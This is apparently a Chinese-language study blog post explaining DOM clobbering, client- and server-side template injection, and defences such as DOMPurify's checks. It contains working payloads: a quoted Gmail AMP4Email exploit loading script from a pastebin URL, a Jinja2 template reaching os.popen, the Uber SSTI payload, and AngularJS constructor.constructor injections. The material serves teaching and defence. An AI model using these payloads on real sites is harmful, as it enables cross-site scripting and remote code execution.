Skip to content

[Security] DOM clobbering 與 Client Side Template Injection(CSTI) 介紹

· 21 min

前言#

承接上篇 [Security] 基於 JavaScript 的攻擊手法:Prototype Pollution 初探,此篇主要敘述的是《Beyond XSS:探索網頁前端資安宇宙》 3–2 ~ 3–3 章節的筆記,若有錯誤歡迎大家回覆告訴我~

DOM clobbering 前情提要:DOM 與 window 的關係#

除了上篇提過的 prototype pollution 可影響 JavaScript 執行外,連 HTML 也可影響 JavaScript 的執行。在此之前先介紹 DOM 與 window 的關係。

HTML 設定有 id 值的元素後,JavaScript 就可透過 id 值直接存取:

<button id="btn">click me</button>
<script>
console.log(window.btn) // <button id="btn">click me</button>
</script>

也可直接用 btn 存取,因為當前 scope 找不到就會往上找,一路找到 window

此行為有定義在 HTML spec 上,在 7.3.3 Named access on the Window object

意思是以下屬性名稱會成為 window的命名屬性(named properties):

  1. 子導航物件的 target 名稱:所有 window 所屬文件的子導航物件(child navigable),如 <iframe>,若它有 name 屬性,則該名稱將作為 window 的命名屬性。
    如下範例,window.exampleFrame 是有效屬性,指向該 iframe 元素。
<iframe name="exampleFrame"></iframe>
  1. 特定元素的 name 屬性:文件中某些元素(embedformimgobject)若定義了非空的 name 屬性,該值也會成為 window 的命名屬性。
    如下範例,可用 name 的值抓取這些 HTML 元素。
<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>
  1. 所有元素的 id 屬性:文件中的任意元素,如果有非空的 id 屬性,該值同樣會成為 window 的命名屬性。

由此可看出,我們可透過 HTML 元素影響 JavaScript。而透過 HTML 元素影響 JavaScript 的攻擊手法就稱作 DOM clobbering,clobbering 是覆蓋之意,意思是透過 DOM 把一些東西覆蓋以達攻擊。

DOM clobbering 入門#

可用 DOM clobbering 攻擊的前提是需要有機會顯示自訂的 HTML,例如在留言板輸入 HTML 內容。
假設有個情境是留言板可輸入任意內容,不過輸入的值會經過 sanitize,無法執行 JavaScript,因此 <script></script><img src=x onerror=alert(1)>onerror 都無法執行,但不會過濾 HTML 標籤,只要不執行 JavaScript,想設置任何 HTML 標籤、屬性都可。在這情況下,我們可這樣達成攻擊:

<!DOCTYPE html>
<html>
<body>
<h1>留言板</h1>
<!-- 使用者輸入的留言 start -->
<div>
你的留言:<div id="TEST_MODE"></div>
<a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
</div>
<!-- 使用者輸入的留言 end -->
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>

window.TEST_MODE 會取到 id 是 TEST_MODE 的 div 元素,window.TEST_SCRIPT_SRC 轉成字串後是 <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a> 元素的 href 屬性值,也就是 my_evil_script,因此就可載入 src 是 my_evil_script 的 script。

由此可知,以下手法搭配適合情境,有機會利用 DOM clobbering 達成攻擊:

  1. HTML 搭配id 屬性影響 JavaScript 變數
  2. <a> 搭配 hrefid 讓元素 toString 後變成想要的值

補充一點 HTML 元素轉字串會發生的事,可分為一般情況和特例:

// <div id="TEST_MODE" />
console.log(window.TEST_MODE + '') // 會印出 [object HTMLDivElement]
// <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
console.log(window.TEST_SCRIPT_SRC + '') // 印出 https://...../my_evil_script

另外,若想攻擊的變數已存在,DOM 是無法覆蓋的,例如以下:

<!DOCTYPE html>
<html>
<head>
<script>
TEST_MODE = 3
</script>
</head>
<body>
<div id="TEST_MODE"></div>
<script>
console.log(window.TEST_MODE) // 3
</script>
</body>
</html>

多層級的 DOM Clobbering#

接著介紹覆蓋有層級關係物件(如:window.config.isTest)的方式。

方法 1:利用 HTML 標籤層級關係#

HTML spec 關於 form 的說明這樣寫:

可用 form[name]form[id] 拿表單內元素:

<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="isTest" />
<button id="isProd"></button>
</form>
<script>
console.log(config) // <form id="config">
console.log(config.isTest) // <input name="isTest" />
console.log(config.isProd) // <button id="isProd"></button>
</script>
</body>
</html>

此方式就可製造兩層 DOM clobbering。不過有限制,因為form 內沒有 <a> 可用,JavaScript 取出的 HTML 元素 toString 後無法利用。可行解法是如果要覆蓋的東西是 HTML 內建屬性時,就可覆蓋,內建屬性例如 value
舉例來說,如果想覆蓋 config.environment.value,可用 <input>value 屬性覆蓋。

<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="environment" value="test" />
</form>
<script>
console.log(config.environment.value) // test
</script>
</body>
</html>

不過就只能覆蓋與內建屬性名稱相同的變數,其他無法。

方法 2:HTMLCollection#

根據 7.3.3 Named access on the Window object 的 spec,若呼叫 window命名屬性時,發現要回傳的東西有多個,就會回傳 HTMLCollection。範例如下。

<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config"></a>
<script>
console.log(config) // HTMLCollection(2)
</script>
</body>
</html>

而又根據 4.2.10.2. Interface HTMLCollection 所寫,我們可用 nameidHTMLCollection 內的元素:

<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config" name="apiUrl" href="https://monica.tw"></a>
<script>
console.log(config.apiUrl + '')
// https://monica.tw
</script>
</body>
</html>

結合兩者,我們可用config 取出同 id 的 HTMLCollectionapiUrl 取出其中 nameapiUrl 的特定元素,達到多層級的物件關係。

方法 3:<form>HTMLCollection 結合#

<form>HTMLCollection 兩者結合可達到三或四層:

<!DOCTYPE html>
<html>
<body>
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) //123
</script>
</body>
</html>

若最後的屬性是 HTML 內建屬性,可達到四層;若不是內建屬性,則可到三層。

另外補充,Firefox 不會回傳 HTMLCollection,下方程式碼在 Firefox 只會輸出第一個 <a> 元素:

<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config"></a>
<script>
console.log(config) // <a id="config"></a>
</script>
</body>
</html>

因此 Firefox 只能用 <form><iframe>,不能用 HTMLCollection

再更多層級的 DOM Clobbering#

依據 DOM Clobbering strikes backiframe 可達到更多層。

首先,我們可用 iframename 拿到 iframe 裡的 window

<!DOCTYPE html>
<html>
<body>
<iframe name="config" srcdoc='
<a id="apiUrl"></a>
'></iframe>
<script>
// setTimeout 原因:iframe 是非同步載入,需要時間才能抓到裡面東西
setTimeout(() => {
console.log(config.apiUrl) // <a id="apiUrl"></a>
}, 500)
</script>
</body>
</html>

利用這方式,就可用iframe 創造更多層級:

<!DOCTYPE html>
<html>
<body>
<iframe name="moreLevel" srcdoc='
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
'></iframe>
<script>
setTimeout(() => {
console.log(moreLevel.config.prod.apiUrl.value) //123
}, 500)
</script>
</body>
</html>

若想創造更多 DOM Clobbering 層級可參考 DOM Clobber3r

透過 document 擴展攻擊面#

可利用 DOM clobbering 的機會其實不多,因為程式碼需要用到沒有宣告的全域變數,但這通常會被 ESLint 指出。不過除了影響 window 變數,HTML 元素搭配 name 還可影響 document

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<img name=cookie>
<form id=test>
<h1 name=lastElementChild>I am first child</h1>
<div>I am last child</div>
</form>
<embed name=getElementById></embed>
<script>
console.log(document.cookie) // <img name="cookie">
console.log(document.querySelector('#test').lastElementChild) // <div>I am last child</div>
console.log(document.getElementById) // <embed name=getElementById></embed>
</script>
</body>
</html>

document.cookie 應取得 cookie,卻變成 <img name=cookie> 元素;document.getElementById 應是用來取得元素的方法,卻被覆蓋成 DOM,導致呼叫 document.getElementById() 時會出錯。

DOM clobbering 經常會搭配 prototype pollution 使用,例如以下:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<img name=cookie>
<script>
// 先假設我們可以 pollute 成 function
Object.prototype.toString = () => 'a=1'
console.log(`cookie: ${document.cookie}`) // cookie: a=1
</script>
</body>
</html>

document.cookie 會取到 HTML 元素,而 HTML 元素用 template 輸出時若非字串,會呼叫 toString,但 HTML 元素本身無 toString 方法,因此會根據原型鏈找到污染的 Object.prototype.toString,由此污染 document.cookie 值,影響後續流程。

DOM Clobbering 防禦方式#

DOMPurify 針對 DOM clobbering 做的防護處理如下。

// https://github.com/cure53/DOMPurify/blob/d5060b309b5942fc5698070fbce83a781d31b8e9/src/purify.js#L1102
const _isValidAttribute = function (lcTag, lcName, value) {
/* Make sure attribute cannot clobber */
if (
SANITIZE_DOM &&
(lcName === 'id' || lcName === 'name') &&
(value in document || value in formElement)
) {
return false;
}
// ...
}

idname 的值已存在於 documentformElement,就跳過,可阻止針對 document 跟 form 的 DOM clobbering。

不過 Sanitizer API 預設不會針對 DOM clobbering 做防護,規格中這樣寫:「The Sanitizer API does not protect DOM clobbering attacks in its default state」。

DOM clobbering 實際案例#

書中有提到 Gmail AMP4Email XSS 的實際案例,在 Gmail 中,可用部分 AMP 功能,不過 validator 嚴謹,無法用一般方法 XSS。但被發現一個問題是,當設置 HTML 元素 <a id="AMP_MODE"> 後,console 會出現 script 載入錯誤,網址其中一段是 undefined,與其相關的程式碼如下:

var script = window.document.createElement("script");
script.async = false;
var loc;
if (AMP_MODE.test && window.testLocation) {
loc = window.testLocation
} else {
loc = window.location;
}
if (AMP_MODE.localDev) {
loc = loc.protocol + "//" + loc.host + "/dist"
} else {
loc = "https://cdn.ampproject.org";
}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(b);

這段程式碼可利用的地方在於,當 AMP_MODE.testAMP_MODE.localDev 都是 truthy 時,再加上設置 window.testLocation,就能載入任意 script。

因此最後的攻擊程式碼(exploit)是利用 DOM clobbering 來達成:

<!-- 讓 AMP_MODE.test 跟 AMP_MODE.localDev 有東西 -->
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
<!-- 設置 testLocation.protocol -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol"
href="https://pastebin.com/raw/0tn8z0rG#"></a>

上述程式碼可成功載入任意 script,達成 XSS,不過最後還是被 CSP 阻擋執行,沒有成功。案例的詳細說明可參考 XSS in GMail’s AMP4Email via DOM Clobbering

補充:
AMP 功能:是指基於 Accelerated Mobile Pages (AMP) 框架的技術,主要用來建立快速、互動性強的網頁內容。Gmail AMP 功能引入新的電子郵件格式,使電子郵件內容不再只是靜態 HTML,而是可以支持動態和互動式的內容。

DOM clobbering 小結#

雖然 DOM Clobbering 使用場合有限,但可能我們以前都沒想過可以用 HTML 影響全域變數,也算是學到新知識~若想了解更多還可參考 DOM Clobbering — PortSwigger 這篇文章。

前端的模板注入攻擊:CSTI#

CSTI 全名是 Client Side Template Injection,意思是前端模板注入,而相對的也有 Server Side Template Injection(SSTI),也就是後端模板注入。

Server Side Template Injection#

後端輸出 HTML 內容時,可分兩種形式,一為靜態,二為動態:

  1. 輸出靜態 HTML:純 PHP 直接輸出
<?php
echo '<h1>hello</h1>';
?>
  1. 輸出有動態內容的 HTML:搭配模板引擎(template engine)輸出
<article>
<h1><%= post.title %></h1>
<time><%= format_date_full(post.date) %></time>
<div><%= post.content %></div>
</article>

在 render 時帶入 post 物件,搭配模板就可渲染文章頁(以上是簡化版文章頁模板)。

而所謂的 template injection 意思是「攻擊者可以操控模板本身」,而非「攻擊者可以操控 post 這類資料」,示意圖如下:

template injection 範例

假設有個行銷郵件模板長這樣:

嗨嗨 {{name}},我是公司的創辦人 Foo
不知道我們目前的產品你用的還習慣嗎?
如果不習慣的話,隨時可以跟我約個十分鐘的線上會議
可以點這個連結預約:<a href="{{link}}?q={{email}}">預約連結</a>
Foo

後端使用模板的方式如下,會帶入資料:

from jinja2 import Template
data = {
"name": "Amy",
"link": "https://example.com",
"email": "test@example.com"
}
template_str = """
嗨嗨 {{name}},我是公司的創辦人 Foo
不知道我們目前的產品你用的還習慣嗎?
如果不習慣的話,隨時可以跟我約個十分鐘的線上會議
可以點這個連結預約:<a href="{{link}}?q={{email}}">預約連結</a>
Foo
"""
template = Template(template_str)
rendered_template = template.render(
name=data['name'],
link=data['link'],
email=data['email'])
print(rendered_template)

最後渲染結果:

嗨嗨 Amy,我是公司的創辦人 Foo
不知道我們目前的產品你用的還習慣嗎?
如果不習慣的話,隨時可以跟我約個十分鐘的線上會議
可以點這個連結預約:<a href="https://example.com?q=test@example.com">預約連結</a>
Foo

上述流程的問題是,如果 template 被修改,就會達成攻擊。假設 template 被這樣修改:

from jinja2 import Template
data = {
"name": "Amy",
"link": "https://example.com",
"email": "test@example.com"
}
template_str = """
Output: {{
self.__init__.__globals__.__builtins__
.__import__('os').popen('uname').read()
}}
"""
template = Template(template_str)
rendered_template = template.render(
name=data['name'],
link=data['link'],
email=data['email'])
print(rendered_template)

最後渲染結果是 Output: DarwinDarwin 是指令 uname 執行後的結果。

{{}} 內的東西是模板引擎會執行的程式碼,可想成{{}} 內放入的東西會被視為程式碼來執行,因此上面的 self.xxx 就是一路執行程式碼並 import 其他 module 來達到攻擊。

模板注入意思就是能讓攻擊者掌控模板的漏洞,若發生在後端就是 SSTI;發生在前端則是 CSTI。

而模板注入的防禦方式就是不要把使用者輸入作為模板的一部分。

SSTI 的實際案例#

2016 年 Orange 發現一個 Uber 的 Template Injection 漏洞。問題被發現的原因是 Orange 在姓名欄位輸入 {{ 1+1 }},發現被執行了(收到的信件顯示 2),因此找出了攻擊 payload:{{ [].__class__.__base__.__subclasses__() }},利用 SSTI 達到 RCE。詳細請見 Uber 遠端代碼執行- Uber.com Remote Code Execution via Flask Jinja2 Template Injection

另一個案例是 Shopify 的 Handlebars SSTI,就不詳細說明,可參考 Handlebars template injection and RCE in a Shopify app

Client Side Template Injection#

不只後端,前端也有使用到模板,例如 Angular,以下是一個 Angular 範例程式:

// import required packages
import 'zone.js';
import { Component } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';
// describe component
@Component({
selector: 'add-one-button', // component name used in markup
standalone: true, // component is self-contained
template: // the component's markup
`
<button (click)="count = count + 1">Add one</button> {{ count }}
`,
})
// export component
export class AddOneButtonComponent {
count = 0;
}
bootstrapApplication(AddOneButtonComponent);

template 參數中,{{ count }} 若改成 {{ constructor.constructor('alert(1)')() }},會跳出 alert 視窗,因而成功執行想注入的程式碼。會用 constructor.constructor 這寫法是因為模板內無法直接存取 window,要以 Function constructor 來建立新的 function,解釋 constructor.constructor('alert(1)')()這行程式碼如下:

物件的實例都會參考其建構函式:

const o = {};
o.constructor === Object;

而如果沒有明確引用某個物件,直接執行 constructor,那它在全域的上下文中,實際是 window.constructor 的屬性:

constructor /* or window.constructor */ === Window;

WindowObject 本質上是函式實例,因為在 JavaScript 中,函式本身也是物件,這代表函式的 constructorFunction

constructor.constructor /* 或 Window.constructor */ === Function; // true

Function 是一個特殊的函式建構函式,可以用字串作為函式的主體來建立新的函式,類似於 eval。例如:

Function('alert(1)');
// 等同於
function () {
alert(1);
}

而外加括號 () 則會立即執行該函式,綜合上述,constructor.constructor('alert(1)')() 最後會執行alert(1)。(ref:https://stackoverflow.com/questions/71769586/what-is-constructor-constructor-in-javascript

回到 CSTI,在 Angular 文件 Angular’s cross-site scripting security model 有提到:「Unlike values to be used for rendering, Angular templates are considered trusted by default, and should be treated as executable code. Never create templates by concatenating user input and template syntax. Doing this would enable attackers to inject arbitrary code into your application.」,指出開發者應將 template 視為可執行的程式碼,不該讓使用者控制 template。

AngularJS 與 Angular 差異

AngularJS 與 Angular 差異在於,AngularJS 是 2010 年剛推出時的命名,版本號是 0.x.x 或 1.x.x;而 Angular 則是版本號 2 以後的命名,兩者使用上類似,但 Angular 在設計上整體重寫。後續提到的範例會以 AngularJS 為主,因為 AngularJS 較舊因此問題也比較多。(補充一點,AngularJS 的支援已經在 2022 年 1 月正式終止。)

AngularJS 防護的演進

在 1.2.0 版本前,可用 {{ constructor.constructor('alert(1)')() }} 執行任意程式碼,1.2.0 版本後則加入 sandbox 機制,避免他人接觸 window,之後經歷多次 sandbox 加強與資安研究員繞過的攻防,在 1.6 版本後,全面移除 sandbox,因 sandbox 不是資安的 feature,應解決的是根源問題 template,而非 sandbox。(ref:AngularJS expression sandbox bypass

補充:
sandbox:sandbox 是一種安全機制,為執行中的程式提供隔離環境。通常是作為一些來源不可信、具破壞力或無法判定程式意圖的程式提供實驗之用。沙盒通常嚴格控制其中的程式能訪問的資源。例如:在沙盒中,網路訪問、對真實系統的訪問、對輸入裝置的讀取通常被禁止或嚴格限制。

AngularJS 1.x 版本的 CSTI 範例#

以下是一個 AngularJS 1.x 的範例:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<div ng-app>
{{ 'hello world'.toUpperCase() }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
</body>
</html>

ng-app 是 AngularJS 的入口點,當 AngularJS 應用啟動後,所有包含 {{ ... }} 的內容會被解析並執行。

另一個範例則是由後端負責渲染 view,在 render 時就放入使用者輸入的資料、插入 HTML:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<div ng-app>
Hello, <?php echo htmlspecialchars($_GET['name']) ?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
</body>
</html>

{{ alert(1) }} 中沒有 htmlspecialchars 認為的非法字元,還是會導致 XSS,達成攻擊。

而 CSTI 防禦方式就是永遠不要把使用者輸入直接作為模板的一部分。

CSTI 的實際案例#

Masato Kinugawa 在 2022 年的 Pwn2Own 中示範了 Teams RCE 的漏洞,就是用了 AngularJS 的 ng-init 屬性來執行程式碼,其中還搭配了如何繞過 class name 的規則限制、AngularJS 如何解析 class name、AngularJS sandbox bypass、找到 XSS 後如何變成 RCE…等,詳細可參考 How I Hacked Microsoft Teams and got $150,000 in Pwn2Own

CSTI 小結#

CSTI 可算是「不直接執行 JavaScript」的攻擊方式,即使有對輸出做編碼,若有用 AngularJS,攻擊者就可用 {{}} 達到 CSTI 並執行 XSS 攻擊,因此永遠不要相信使用者的輸入,不要將使用者輸入作為 template 的一部分。


Reference:#

如有任何問題歡迎聯絡、不吝指教✍